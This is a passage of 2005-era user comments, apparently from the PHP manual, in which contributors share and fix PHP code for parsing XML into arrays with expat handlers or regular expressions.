<mytag> This is a
very long
line
</mytag>

causes the parser to return this content:

Array
(
   [name] => MYTAG
   [content] => line
)

whereas one would have expected the

[content] => 'This is a very long line'.

Below is the fixed version:

<?php

class XMLParser {
   var $filename;
   var $xml;
   var $data;

   function XMLParser($xml_file)
   {
       $this->filename = $xml_file;
       $this->xml = xml_parser_create();
       xml_set_object($this->xml, $this);
       xml_set_element_handler($this->xml, 'startHandler', 'endHandler');
       xml_set_character_data_handler($this->xml, 'dataHandler');
       $this->parse($xml_file);
   }

   function parse($xml_file)
   {
       if (!($fp = fopen($xml_file, 'r'))) {
             die('Cannot open XML data file: '.$xml_file);
               return false;
       }

       $bytes_to_parse = 512;

       while ($data = fread($fp, $bytes_to_parse)) {
           $parse = xml_parse($this->xml, $data, feof($fp));

           if (!$parse) {
               die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($this->xml)),
                       xml_get_current_line_number($this->xml)));
                       xml_parser_free($this->xml
                     );
           }
       }

       return true;
   }

   function startHandler($parser, $name, $attributes)
   {
       $data['name'] = $name;
       if ($attributes) { $data['attributes'] = $attributes; }
       $this->data[] = $data;
   }

   function dataHandler($parser, $data)
   {
       if ($data = trim($data)) {
           $index = count($this->data) - 1;
           // begin multi-line bug fix (use the .= operator)
           $this->data[$index]['content'] .= $data;
           // end multi-line bug fix
       }
   }

   function endHandler($parser, $name)
   {
       if (count($this->data) > 1) {
           $data = array_pop($this->data);
           $index = count($this->data) - 1;
           $this->data[$index]['child'][] = $data;
       }
   }
}

?>
daniel at lorch dot cc
11-Nov-2005 06:02
there has been a lot of discussion about the xml2array-function. keith devens wrote a library called phpxml, which does exactly this, but with the xml extension rather than regular expressions. I found it quite useful: http://keithdevens.com/software/phpxml
janne at consilia dot fi
09-Nov-2005 06:56
In aerik's xml2array() (below), tags with a value of 0 (zero) is not returned.
Change the line
   else if ($elements[3][$ie])
to
   else if (isset($elements[3][$ie]))
a few lines from the end to fix this.
raphael at schwarzschmid dot de
08-Nov-2005 08:51
Monte's class with its various amendments didn't quite work for me, so here's my version of it:

class XMLParser {
   var $filename;
   var $xml;
   var $data;

   function XMLParser($xml_file)
   {
       $this->filename = $xml_file;
       $this->xml = xml_parser_create();
       xml_set_object($this->xml, $this);
       xml_set_element_handler($this->xml, 'startHandler', 'endHandler');
       xml_set_character_data_handler($this->xml, 'dataHandler');
       $this->parse($xml_file);
   }

   function parse($xml_file)
   {
       if (!($fp = fopen($xml_file, 'r'))) {
             die('Cannot open XML data file: '.$xml_file);
               return false;
       }

       $bytes_to_parse = 512;

       while ($data = fread($fp, $bytes_to_parse)) {
           $parse = xml_parse($this->xml, $data, feof($fp));

           if (!$parse) {
               die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($this->xml)),
                       xml_get_current_line_number($this->xml)));
                       xml_parser_free($this->xml
                     );
           }
       }

       return true;
   }

   function startHandler($parser, $name, $attributes)
   {
       $data['name'] = $name;
       if ($attributes) { $data['attributes'] = $attributes; }
       $this->data[] = $data;
   }

   function dataHandler($parser, $data)
   {
       if ($data = trim($data)) {
           $index = count($this->data) - 1;
           $this->data[$index]['content'] = $data;
       }
   }

   function endHandler($parser, $name)
   {
       if (count($this->data) > 1) {
           $data = array_pop($this->data);
           $index = count($this->data) - 1;
           $this->data[$index]['child'][] = $data;
       }
   }
}

Use like:

$myFile = new XMLParser($path_to_file);
echo $myFile->data[$n]['name'];
foreach ($myFile->data[$n]['attributes'] as $key => $val)
echo $key.'='.$val;

... and so forth.

If somebody would know how to say something like...

$myFile = new XMLParser($path_to_file);
echo $myFile[$n];
foreach ($myFile[$n]['attributes'] as $key => $val)
echo $key.'='.$val;

...instead, I'd be very interested in that!
php dot net at site dot masshole dot us
07-Nov-2005 06:37
Note that Monte's XML parser class below (from 14-Sep-2005) contains a bug; the dataHandler function needs to use concatenation rather than assignment.  Here's what it should look like:

   function dataHandler($parser, $data){
       if(!empty($data)) {
           $_output_idx = count($this->output) - 1;
           $this->output[$_output_idx]['content'] .= $data;
       }
   }
alex at whitewhale dot net
05-Nov-2005 05:28
A simple XML parser that accepts an array which maps tags to the HTML format used for output of their values. You can optionally specify an array of PHP functions to pass the value through before it is returned in the specified format:

<?php

class XParser {
protected $parser=NULL;
protected $current='';

public function __construct($xml, $tag_map) {
$this->parser=xml_parser_create();
xml_set_element_handler($this->parser, array($this, 'begin'), array($this, 'end'));
xml_set_character_data_handler($this->parser, array($this, 'cdata'));
$this->tag_map=$tag_map;
if (!xml_parse($this->parser, $xml)) die(sprintf('XML error: %s at line %d', xml_error_string(xml_get_error_code($this->parser)), xml_get_current_line_number($this->parser)));
}

protected function begin($parser, $name, $attrs) {
$this->current=$this->current.'/'.$name;
}

protected function cdata($parser, $cdata) {
if (isset($this->tag_map[$this->current][1])) foreach($this->tag_map[$this->current][1] as $func) $cdata=call_user_func($func, $cdata);
$this->html.=sprintf($this->tag_map[$this->current][0], $cdata);
}

protected function end($parser, $name) {
$this->current=str_replace('/'.$name.'$', '', $this->current.'$');
}

public function html() {
return $this->html;
}

}

$source='
<books>
   <book>
       <title>My Book</title>
       <description>A good book.</description>
   </book>
   <book>
       <title>Some Other Book</title>
       <description>Also a good book.</description>
   </book>
</books>
';

$xml=new XParser($source, array(
   '/BOOKS/BOOK/TITLE'=>array(
       "<b>Title:</b> %s<br>\n", array('strtoupper')
   ),
   '/BOOKS/BOOK/DESCRIPTION'=>array(
       "<b>Description:</b> %s<br><br>\n\n"
   ),
));
echo $xml->html;

?>

Returns:

<b>Title:</b> MY BOOK<br>
<b>Description:</b> A good book.<br><br>

<b>Title:</b> SOME OTHER BOOK<br>
<b>Description:</b> Also a good book.<br><br>
zacheryph at gmail dot com
03-Nov-2005 06:44
@aerik
thanks a lot for this simple to use function.

@adrianus
i noticed this too as soon as i used it but it is easily resolved.

if anyone is using aerik's xml2array() (below) and noticed it doesn't play with with multiple nodes of the same name, here is a fix.

this was only briefly tested.  if anyone notices a problem with it please tell me.

<?
// replace $ReElements with the following:
// note: only addition is changing (.*) to (.*?) causing the search
// to stop at the first instance of </$1>
// change
$ReElements = '/<(\w+)\s*([^\/>]*)\s*(?:\/>|>(.*)<\/\s*\\1\s*>)/s';
// to -->
$ReElements = '/<(\w+)\s*([^\/>]*)\s*(?:\/>|>(.*?)<\/\s*\\1\s*>)/s';
?>
adrianus at warmenhoven dot nl
24-Oct-2005 08:38
Previous example has some issues with xml-nodes such as:

<code>
<somethings>
 <something>text1</something>
 <something>text2</something>
 <something>text3</something>
 <something>text4</something>
</somethings>
</code>

It will put each subsequent <something> as an element of the previous <something>
aerik at wikidweb dot com
22-Oct-2005 05:30
For anyone else looking for a xml parser not requiring a library, here's a modified version of xml2array, which returns a nested associative array, including attributes and nested nodes. (BTW, thanks to whoever originally wrote these regexes - they're quite clever)

<?
function xml2array ($xml)
{
   $xmlary = array ();

   if ((strlen ($xml) < 256) && is_file ($xml))
     $xml = file_get_contents ($xml);

   $ReElements = '/<(\w+)\s*([^\/>]*)\s*(?:\/>|>(.*)<\/\s*\\1\s*>)/s';
   $ReAttributes = '/(\w+)=(?:"|\')([^"\']*)(:?"|\')/';

   preg_match_all ($ReElements, $xml, $elements);
   foreach ($elements[1] as $ie => $xx) {
   $xmlary[$ie]["name"] = $elements[1][$ie];
     if ( $attributes = trim($elements[2][$ie])) {
         preg_match_all ($ReAttributes, $attributes, $att);
         foreach ($att[1] as $ia => $xx)
           // all the attributes for current element are added here
           $xmlary[$ie]["attributes"][$att[1][$ia]] = $att[2][$ia];
     } // if $attributes

     // get text if it's combined with sub elements
   $cdend = strpos($elements[3][$ie],"<");
   if ($cdend > 0) {
           $xmlary[$ie]["text"] = substr($elements[3][$ie],0,$cdend -1);
       } // if cdend

     if (preg_match ($ReElements, $elements[3][$ie]))
         $xmlary[$ie]["elements"] = xml2array ($elements[3][$ie]);
     else if ($elements[3][$ie]){
         $xmlary[$ie]["text"] = $elements[3][$ie];
         }
   }
   return $xmlary;
}
?>

Parsing this:
<XML>
<header>
<title> Sample App </title>
<version> v. 1.0</version>
</header>
  <window height='220' width='420'>
   stuff in the window
  </window>
</XML>

returns a print_r of this:
Array
(
   [0] => Array
       (
           [name] => XML
           [text] =>
           [elements] => Array
               (
                   [0] => Array
                       (
                           [name] => header
                           [text] =>
                           [elements] => Array
                               (
                                   [0] => Array
                                       (
                                           [name] => title
                                           [text] =>  Sample App
                                       )

                                   [1] => Array
                                       (
                                           [name] => version
                                           [text] =>  v. 1.0
                                       )

                               )

                       )

                   [1] => Array
                       (
                           [name] => window
                           [attributes] => Array
                               (
                                   [height] => 220
                                   [width] => 420
                               )

                           [text] =>
   stuff in the window

                       )

               )

       )

)
m dot quinton at gmail dot com
13-Oct-2005 03:32
an example of using "monte" class for Klm XLM file from Google Earth. KlmObject can be reused because it uses xmlParser output as input.

<?php
error_reporting(E_ALL);

$p =& new xmlParser();
$p->parse('your_file.kml');

$tree = $p->GetNodeByPath('KML/FOLDER');

$folder = new KlmFolder($tree);
echo "type : " . $folder->type() . "\n";
echo "name : " . $folder->name() . "\n";

$placemarks = $folder->get_placemarks();

foreach($placemarks as $place){
   echo $place->toText() . "\n";
}

class KlmObject {

   var $tree;

   function type(){
       return $this->tree['name'];
   }
   function name(){
       $node = $this->child_by_name('NAME');
       return $node['content'];
   }
   function &childs(){
       return $this->tree['child'];
   }

   function child_by_name($name){
       foreach($this->childs() as $key=>$val){
           $val = &$this->tree['child'][$key];
           if($val['name'] == $name)
               return $val;
       }
       return false;
   }
}

class KlmFolder extends KlmObject{

  function KlmFolder(&$tree){
       $this->tree = &$tree;
   }

   function get_placemarks(){

       $placemarks = array();

       foreach($this->childs() as $val){

           echo "{$val['name']}\n";
           if($val['name'] == 'FOLDER'){
               $subfolder = &new KlmFolder($val);
                 $placemarks = array_merge($placemarks, $subfolder->get_placemarks());
           }
           if($val['name'] == 'PLACEMARK'){
               $placemarks[] = &new KlmPlacemark($val);
           }
       }
       return $placemarks;
   }
}

class KlmPlaceMark extends KlmObject{
   var $tree;
  function KlmPlacemark($tree){
       $this->tree = &$tree;
       $name = $this->name();

       print_r($tree);
   }

   function longitude(){
       return $this->tree['child'][1]['child'][0]['content'];
   }
   function latitude(){
       return $this->tree['child'][1]['child'][1]['content'];
   }
   function toText(){
       return $this->name() . ' : ' . $this-> longitude() . ' - ' . $this-> latitude();
   }
}

?>
m dot quinton at gmail dot com
13-Oct-2005 03:26
from monte at NOT-SP-AM dot ohrt dot com :

I need to modify his class for some KLM data extracted from Google Earth XML file. Some times data contains multi-line. So we need to
add this "trim" statement to make it work correctly :

   function dataHandler($parser, $data){
       $data = trim($data);
       if(!empty($data)) {
           $_output_idx = count($this->output) - 1;
           $this->output[$_output_idx]['content'] = $data;
       }
   }
jbernau at muc dot de
28-Sep-2005 08:41
I liked the xmlparser class by monte (see next comment) very much. So here is my small addition to it.

usage:

<?php
$p =& new xmlParser();
$p->parse('http://domain.com/rss.xml');
$node = $p->GetNodeByPath("root/leaf/leaf2");
print $node[content];
print $node[attrs][my_attr];
?>

The new member function to class xmlparser:

<?php
function GetNodeByPath($path,$tree = false) {
 if ($tree) {
  $tree_to_search = $tree;
 }
 else {
  $tree_to_search = $this->output;
 }

 if ($path == "") {
  return null;
 }

 $arrPath = explode('/',$path);

 foreach($tree_to_search as $key => $val) {
  if (gettype($val) == "array") {
   $nodename = $val[name];

   if ($nodename == $arrPath[0]) {

   if (count($arrPath) == 1)  {
     return $val;
   }

   array_shift($arrPath);

   $new_path = implode($arrPath,"/");

   return $this->GetNodeByPath($new_path,$val[child]);
   }
  }
 }
}
?>
monte at NOT-SP-AM dot ohrt dot com
15-Sep-2005 12:48
Here is another simple XML-to-array parser using the expat library. My goal was something that parsed everything (attributes, data, etc.) cleanly and also encapsulated all of its functionality inside a PHP class. You can supply anything fopen() accepts (file, url, etc.)

usage:

<?php
$p =& new xmlParser();
$p->parse('http://domain.com/rss.xml');
print_r($p->output);
?>

Here is the source:

<?php

class xmlParser{

   var $xml_obj = null;
   var $output = array();

   function xmlParser(){

       $this->xml_obj = xml_parser_create();
       xml_set_object($this->xml_obj,$this);
       xml_set_character_data_handler($this->xml_obj, 'dataHandler');
       xml_set_element_handler($this->xml_obj, "startHandler", "endHandler");

   }

   function parse($path){

       if (!($fp = fopen($path, "r"))) {
           die("Cannot open XML data file: $path");
           return false;
       }

       while ($data = fread($fp, 4096)) {
           if (!xml_parse($this->xml_obj, $data, feof($fp))) {
               die(sprintf("XML error: %s at line %d",
               xml_error_string(xml_get_error_code($this->xml_obj)),
               xml_get_current_line_number($this->xml_obj)));
               xml_parser_free($this->xml_obj);
           }
       }

       return true;
   }

   function startHandler($parser, $name, $attribs){
       $_content = array('name' => $name);
       if(!empty($attribs))
         $_content['attrs'] = $attribs;
       array_push($this->output, $_content);
   }

   function dataHandler($parser, $data){
       if(!empty($data)) {
           $_output_idx = count($this->output) - 1;
           $this->output[$_output_idx]['content'] = $data;
       }
   }

   function endHandler($parser, $name){
       if(count($this->output) > 1) {
           $_data = array_pop($this->output);
           $_output_idx = count($this->output) - 1;
           $this->output[$_output_idx]['child'][] = $_data;
       }
   }

}

?>
docvert at holloway dot co dot nz
06-Sep-2005 08:36
I see there's a few requests for a simple XML parser that doesn't depend on external libraries... this function parses a string of XML, creating nested arrays and attributes. It supports the /> syntax, multiple root nodes, whitespace in key=value attributes, and single/double quote attribute values. It doesn't, however, support text() nodes.

<?php

function parseXmlString($xmlString)
   {
   $exitAfterManyLoops = 0;
   $xmlArray = array();
   $currentNode = &$xmlArray;
   $currentHierarchy = array();
   $currentDepth = 0;
   while($xmlString != '')
       {
       $exitAfterManyLoops++;
       if($exitAfterManyLoops > 300)
           {
           print "BREAK";
           break;
           }
       $xmlString = trim(substr($xmlString, strpos($xmlString, '<')));
       $thisNodeAscends = (substr($xmlString, 1, 1) == '/');
       $thisNodeDescends = (substr($xmlString, strpos($xmlString, '>') - 1, 1) != '/');
       $openElement = substr($xmlString, strpos($xmlString, ' ') + 1);
       $openElement = substr($openElement, 0, strpos($openElement, '>') );
       if(substr($openElement, strlen($openElement) - 1, 1) == "/")
           {
           $openElement = substr($openElement, 0, strlen($openElement) - 1);
           }

       if($thisNodeAscends)
           {
           $currentDepth--;
           $currentNode = &$currentHierarchy[$currentDepth];
           }
       else
           {
           if($thisNodeDescends)
               {
               $currentNode[] = array('attributes' => parseXmlAttributesString($openElement), 'children' => array());
               $currentHierarchy[$currentDepth] = &$currentNode;
               $currentDepth++;
               $lastItem = &$currentNode[count($currentNode) - 1];
               $currentNode = &$lastItem['children'];
               }
           else //this node is at the same level
               {
               $currentNode[] = array('attributes' => parseXmlAttributesString($openElement));
               }
           }
       $xmlString = substr($xmlString, strpos($xmlString, '>') + 1);
       }
   return $xmlArray;
   }

function parseXmlAttributesString($xmlElementString)
   {
   $exitAfter100Loops = 0;
   $xmlElementArray = array();
   while($xmlElementString != '')
       {
       $exitAfter100Loops++;
       if($exitAfter100Loops > 100)
           {
           print "BREAK";
           break;
           }
       $equalsCharacterPos = strpos($xmlElementString, '=');
       $key = trim(substr($xmlElementString, 0, $equalsCharacterPos));
       $xmlElementString = substr($xmlElementString, $equalsCharacterPos + 1);
       $openBracket = substr($xmlElementString, 0, 1);
       $xmlElementString = substr($xmlElementString, 1);
       $endBracketPos = strpos($xmlElementString, $openBracket);
       $value = substr($xmlElementString, 0, $endBracketPos);
       $xmlElementString = substr($xmlElementString, $endBracketPos + 1);
       if($key)
           {
           $xmlElementArray[$key]=$value;
           }
       }
   return $xmlElementArray;
   }

?>
Steven
06-Sep-2005 01:30
Also, please note that xml2array() does not work on arrays such as this...

<?xml version="1.0" encoding="utf-8" ?>
<aws:weather xmlns:aws="http://www.aws.com/aws">
  <aws:station id="_____" name="__________" city="_________" state="___" zipcode="______" distance="2.5719" station-type="WeatherBug" />
  <aws:station id="_____" name="__________" city="_________" state="___" zipcode="______" distance="3.3379" station-type="WeatherBug" />
</aws:weather>
BinnyVA
24-Aug-2005 04:19
The 'xml2array' functions(see below) have a small problem - they will ignore the Empty-element tags - ie. the tags that close themselves. An example...
<IMG align="left" src="http://www.w3.org/Icons/WWW/w3c_home" />

If you wish to access the attributes of these tags, use this code before calling the function.

<?php
$data = file_get_contents("atom.xml");
$data = preg_replace('/<(\w+)([^>]*)\/>/s','<\1\2></\1>',$data);
$xml_data = xml2array($data);
?>

I have not modified the function in anyway. There are two versions(HansP's and guyemup's) of the same function. This code was made for the older one - guyemup's function - but can be used with the other variation with some slight modifications.
HansP
18-Aug-2005 09:55
Standing on the shoulders of guyemup (see below), I developed this simple parser which returns a linear array where each key is the heirarchical node name. Attributes and CDATA are both returned.

<?PHP
function xml2array ($name, $xml, $Echar='.', $Achar='/', $discardempty=true)
{
   static $Result, $A, $E, $Discard;

   if ((strlen ($xml) < 256) && is_file ($xml))
     $xml = file_get_contents ($xml);

   if ($name == '') {
     $Result = array ();
     $A = $Achar;
     $E = $Echar;
     $Discard = $discardempty;
   }

   $ReElements = '/<(\w+)\s*([^\/>]*)\s*(?:\/>|>(.*)<\/\s*\\1\s*>)/s';
   $ReAttributes = '/(\w+)=(?:"|\')([^"\']*)(:?"|\')/';

   preg_match_all ($ReElements, $xml, $elements);
   foreach ($elements[1] as $ie => $xx) {
     if ( $attributes = trim($elements[2][$ie])) {
         preg_match_all ($ReAttributes, $attributes, $att);
         foreach ($att[1] as $ia => $xx)
             $Result[$name.$E.$elements[1][$ie].$A.$att[1][$ia]] = $att[2][$ia];
     }

     if (preg_match ($ReElements, $elements[3][$ie]))
         xml2array ($name ? $name.$E.$elements[1][$ie] : $elements[1][$ie], $elements[3][$ie]);
     else if (!$Discard || $elements[3][$ie])
         $Result[$name.$E.$elements[1][$ie]] = $elements[3][$ie];
   }
   return $Result;
}
?>

Given  as input
<XML>
  <title> Sample App </title>
  <version> v. 1.0</version>
  <window>
   <height>220</height>
   <width>420</width>
  </window>
  <parameters p1='value 1' p2='value 2'>
     <p3 p31='value 1 of p3'>  ' value of  3  '</p3>
   </parameters>
</XML>

The output is

Array
(
   [XML.title] =>  Sample App
   [XML.version] =>  v. 1.0
   [XML.window.height] => 220
   [XML.window.width] => 420
   [XML.parameters/p1] => value 1
   [XML.parameters/p2] => value 2
   [XML.parameters.p3/p31] => value 1 of p3
   [XML.parameters.p3] =>  ' value of  3  '
)

The parser is very forgiving and does not check for errors.
pj at netfire dot com dot au
26-Jul-2005 10:55
Here is a very lightweight alternate xml parser object,
it comes in handy if installing the xml parsing package is a problem at an installation.

Thought this might be useful for someone.

<?php
/////////////////////////////////////////////////////////////////////
//
// Module    : SimpleXMLParser.php
// DateTime  : 26/07/2005 11:32
// Author    : Phillip J. Whillier
// Purpose  : Very lightwieght "simple" XML parser does not support attributes.
//
/////////////////////////////////////////////////////////////////////

class SimpleXMLParser {

   // Find the max number of specific nodes in the XML
   function MaxElements($XMLSource, $XMLName) {
           $MaxElements = 0;
           $XMLTag = "<" . $XMLName . ">";
           $Y = $this->instr($XMLSource, $XMLTag);
           while($Y>=0) {
                   $MaxElements = $MaxElements + 1;
                   $Y = $this->instr($XMLSource, $XMLTag, $Y + strlen($XMLTag));
           }
       return $MaxElements;
   }

   // Parse xml to retrieve a specific element
   // Instance number is a zero based index.
   function Parse($XMLSource, $XMLName, $aInstance = 0, $Default = "") {
           $XMLLength = strlen($XMLSource);
           $XMLTag = "<" . $XMLName . ">";
           $XMLTagEnd = "</" . $XMLName . ">";
           $Instance = $aInstance + 1;

       /* Find the start of the requested instance... */
           $XMLStart = 0;

           for($x = 1; $x < $Instance + 1; $x++) {
                   $Y = $this->instr($XMLSource, $XMLTag, $XMLStart);

                   if ($Y >= $XMLStart) {
                           $XMLStart = $Y + strlen($XMLTag);
                   }
                   else {
                           return $Default;
                   }
           }

       /* Find the end of the instance... */
           $XMLEnd = $XMLStart;
           $XMLMatch = 1;

           while($XMLMatch) {
                   $c = substr($XMLSource, $XMLEnd, strlen($XMLTagEnd));
                   if($c == $XMLTagEnd) {
                           $XMLMatch = $XMLMatch - 1;
                   }
                   else {
                       if (substr(c, 0, 1) == $XMLTag) {
                           $XMLMatch = $XMLMatch + 1;
                       }
                   }
                   $XMLEnd = $XMLEnd + 1;
                   if ($XMLEnd == $XMLLength) {
                           return $Dufault;
                   }
           }
           return substr($XMLSource, $XMLStart, $XMLEnd - $XMLStart - 1);
   }

   // Helper function for finding substrings
   function instr($haystack, $needle, $pos = 0) {
       $thispos = strpos($haystack, $needle, $pos);
       if ($thispos===false)
           $thispos = -1;
       return $thispos;
   }
}

/////////////////////////////////////////////////////////////////////
// Testing the XML
//
//
TestXML();

function TestXML() {
   $xmlObj = new SimpleXMLParser;

   $myxml =    "<detail><name>myname</name><name>myname2</name>" .
                       "<name>myname3</name><address><address1>my address</address1>" .
                       "</address></detail>";

   $xml = $xmlObj->Parse($myxml, "detail");
   print($xml . "\n");

   $maxName = $xmlObj->MaxElements($xml, "name");
   echo "maxName=$maxName\n";

   $name = $xmlObj->Parse($xml, "name", 0);
   echo "name1=$name\n";
   $name = $xmlObj->Parse($xml, "name", 1);
   echo "name2=$name\n";
   $name = $xmlObj->Parse($xml, "name", 2);
   echo "name3=$name\n";

   print("Address:" . $xmlObj->Parse($xmlObj->Parse($xml, "address") , "address1") . "\n");
   for($i=0; $i < $maxName; $i++) {
       $name = $xmlObj->Parse($xml, "name", $i);
       print("Name:" . $name . "\n");
   }
}

?>
guyemup at yahoo dot com - heath
20-Jul-2005 11:24
Expanding further on Vladson's/Alper's code, this will create an array of attributes within the parent node called "{Parent} attributes".  Probably isn't the most eloquent of code, but, it works.

function xml2array( $textXml )
{
   $regExElements = '/<(\w+)([^>]*)>(.*?)<\/\\1>/s';
   $regExAttributes = '/(\w+)="([^"]*)"/';
   preg_match_all( $regExElements, $textXml, $matchElements );
   foreach ( $matchElements[1] as $keyElements=>$valElements ) {
       if ( $matchElements[2][$keyElements] )
       {
           preg_match_all( $regExAttributes, $matchElements[2][$keyElements], $matchAttributes );
           foreach ( $matchAttributes[0] as $keyAttributes=>$valAttributes )
           {
               $arrayAttributes[ $valElements.' attributes' ][$matchAttributes[1][ $keyAttributes ] ] = $matchAttributes[2][ $keyAttributes ];
           }
       }
       else
       {
           $arrayAttributes = null;
       }
       if ( preg_match( $regExElements, $matchElements[3][$keyElements]) ) {
           if ( $arrayAttributes )
           {
               $arrayFinal[ $valElements ][ $valElements.' attributes' ] = $arrayAttributes[ $valElements.' attributes' ];
           }
           $arrayFinal[ $valElements ][] = xml2array( $matchElements[3][$keyElements] );
       }
       else
       {
           $arrayFinal[ $valElements ] = $matchElements[3][ $keyElements ];
           $arrayFinal = array_merge( $arrayFinal, $arrayAttributes );
       }
   }
   return $arrayFinal;
}
alper at sabanciuniv dot edu
10-Jul-2005 07:56
vladson has written a good code to converting an xml to an array. It is a good function but it is not work properly if xml elements has an attribute. I have cahanged the code to work properly when it has attributes.
The code is:

function xml2array($text) {
   $reg_exp = '/<(\w+)[^>]*>(.*?)<\/\\1>/s';
   preg_match_all($reg_exp, $text, $match);
   foreach ($match[1] as $key=>$val) {
       if ( preg_match($reg_exp, $match[2][$key]) ) {
           $array[$val][] = xml2array($match[2][$key]);
       } else {
           $array[$val] = $match[2][$key];
       }
   }
   return $array;
}

Alper Sari
MauricioMassaia
28-Jun-2005 01:10
/*xmlClass
example:

include("xmlClass.php");

$xml = new xmlClass();
$xml->parse("image/image1.xml");

*/

class xmlClass{

   //xml
   var $xml;
   var $path;
   var $tagName;

   //counter
   var $index = 0;

   function xmlClass(){

       $this->xml = xml_parser_create();
       xml_set_object($this->xml,$this);
       xml_set_character_data_handler($this->xml, 'dataHandler');
       xml_set_element_handler($this->xml, "startHandler", "endHandler");

   }

   function parse($path){

       $this->path = $path;

       if (!($fp = fopen($this->path, "r"))) {
           die("Cannot open XML data file: $file");
           return false;
       }

       while ($data = fread($fp, 4096)) {
           if (!xml_parse($this->xml, $data, feof($fp))) {
               die(sprintf("XML error: %s at line %d",
                           xml_error_string(xml_get_error_code($this->xml)),
                           xml_get_current_line_number($this->xml)));
               xml_parser_free($this->xml);
           }
       }

       return true;
   }

   function startHandler($parser, $name, $attribs){
       //add your commands here
   }

   function dataHandler($parser, $data){
       //add your commands here
   }

   function endHandler($parser, $name){
       $this->tagName = "";
   }

}

?>
matt at tux dot appstate dot edu
16-Jun-2005 10:12
$insert = array('tag'=> $tag, 'value' => subvalue($arr_vals));

should read

$insert = array('tag'=> $tag, 'value' => parseAgain($arr_vals));

sorry
matt [at] tux dot appstate dot edu
15-Jun-2005 11:38
I was looking all over a simple parser. Thanks!

Here is my addition. I wanted something a little easier to parse. Hope it is useful to someone else.

function parseAgain(&$arr_vals) {
  while (@$xml_val = array_shift($arr_vals)) {
   extract($xml_val);
   if ($type == 'close') {
     return $new_val;
   } elseif ($type == 'cdata') {
     continue;
   } elseif ($type == 'complete') {
     $insert = array('tag'=> $tag, 'value'=> $value);
   } else {
     $insert = array('tag'=> $tag, 'value' => subvalue($arr_vals));
   }
   $new_val[] = $insert;
  }
  return $new_val;
}

Just send it the result from the xml2php function.

Cheers!
lorecarra at postino dot it
02-Jun-2005 10:41
I just wanted to post a correction to the script proposed by mv, a pair of posts below.
That script is quite good and really simple and fast, but i think there is a misunderstanding of the type "complete" in the array that the function xml_parse_into_struct creates.

When the parser meets an open tag FOLLOWED by another open tag, it classifies the first tag as "open" in the structure:

<tagone>              <-------- "open" tag
   <tagtwo>

When it finds a close tag FOLLOWING another close tag, it classifies the first tag as "close" :

   </tagtwo>
</tagone>            <--------- "close" tag

Here we are : when the parser finds an open tag, followed by content, followed by a close tag, it classifies the WHOLE thing as "complete":

<tag>hi my name is</tag>      <------- "complete" tag

mv's script php2xml echoed "complete" tags as :

<tag attribute="value" />

, which (my opinion!) is wrong.

The rest is classified as "cdata", and can be trashed.

Now, i report a slight modification of mv's script; if my interpretation is wrong, let me know!

<?

$file = "menu_items.xml";

/**
 * Get contents from XML file and insert into an array
 *
 * @param string $file
 * @return mixed
 */
function xml2php($file) {

   $xml_parser = xml_parser_create();
   if (!($fp = fopen($file, "r"))) {
       die("unable to open XML");
   }
   $contents = fread($fp, filesize($file));
   fclose($fp);
   xml_parse_into_struct($xml_parser, $contents, $arr_vals);
   xml_parser_free($xml_parser);

   return $arr_vals;

}

/**
 * Convert php array to XML
 *
 * @param mixed $array_haystack
 * @return string
 */
function php2xml($array_haystack) {

   $xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n";

   if ((!empty($array_haystack)) AND (is_array($array_haystack))) {

       foreach ($array_haystack as $xml_key => $xml_value) {

           switch ($xml_value["type"]) {
               case "open":
               $xml .= str_repeat("\t", $xml_value["level"] - 1);
               $xml .= "<" . strtolower($xml_value["tag"]);
               if(isset($xml_value["attributes"])) $xml .= parseattributes($xml_value["attributes"]);
               $xml .= ">\n";
               break;

               case "complete":
               $xml .= str_repeat("\t", $xml_value["level"] - 1);
               $xml .= "<" . strtolower($xml_value["tag"]);
               if(isset($xml_value["attributes"])) $xml .= parseattributes($xml_value["attributes"]);
               $xml .= ">" . $xml_value["value"];
               $xml .= "</" . strtolower($xml_value["tag"]);
               $xml .= ">\n";
               break;

               case "close":
               $xml .= str_repeat("\t", $xml_value["level"] - 1);
               $xml .= "</" . strtolower($xml_value["tag"]);
               $xml .= ">\n";
               break;

               default:
               break;

           }

       }

   }

   return $xml;

}

/**
 * Convert php attributes array to XML
 *
 * @param mixed $attributes
 * @return string
 */
function parseattributes($attributes)
{
   $xml = "";
   foreach ($attributes as $attribute_key => $attribute_value) {
       $xml .= sprintf(' %s="%s"', strtolower($attribute_key), $attribute_value);
   }
   return $xml;
}

/**
 * Output content as XML
 *
 * @param string $content
 */
function output_xml($content) {

   header("Content-Type: application/xml; charset=ISO-8859-1");
   header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
   header("Last-Modified: ". gmdate("D, d M Y H:i:s") ." GMT");
   header("Cache-Control: no-store, no-cache, must-revalidate");
   header("Cache-Control: post-check=0, pre-check=0", false);
   header("Pragma: no-cache");

   print $content;

}

$arr_xml = xml2php($file);
$xml    = php2xml($arr_xml);

output_xml($xml);

?>

Bye,

lorenzo
vladson at pc-labs dot info
02-Jun-2005 05:35
A month ago i was looking for function like one i wrote now, i hope some one who looking for it too, will find it here...
(it's not like xml_parse_into_struct but it converts xml to array too)

function xml2array($text) {
   $reg_exp = '/<(.*?)>(.*?)<\/\\1>/s';
   preg_match_all($reg_exp, $text, $match);
   foreach ($match[1] as $key=>$val) {
       if ( preg_match($reg_exp, $match[2][$key]) ) {
           $array[$val][] = xml2array($match[2][$key]);
       } else {
           $array[$val] = $match[2][$key];
       }
   }
   return $array;
}
rsl at zonapersonal dot com
24-May-2005 10:38
You can find a group of funtions to convert and use xml to anarray at www.php-xmla.zonapersonal.com
mv at brazil dot com
25-Apr-2005 08:07
here a exemple to parse XML file to an PHP array and PHP array to XML.

<?

$file = "menu_items.xml";

/**
 * Get contents from XML file and insert into an array
 *
 * @param string $file
 * @return mixed
 */
function xml2php($file) {

   $xml_parser = xml_parser_create();
   if (!($fp = fopen($file, "r"))) {
       die("unable to open XML");
   }
   $contents = fread($fp, filesize($file));
   fclose($fp);
   xml_parse_into_struct($xml_parser, $contents, $arr_vals);
   xml_parser_free($xml_parser);

   return $arr_vals;

}

/**
 * Convert php array to XML
 *
 * @param mixed $array_haystack
 * @return string
 */
function php2xml($array_haystack) {

   $xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n";

   if ((!empty($array_haystack)) AND (is_array($array_haystack))) {

       foreach ($array_haystack as $xml_key => $xml_value) {

           switch ($xml_value["type"]) {
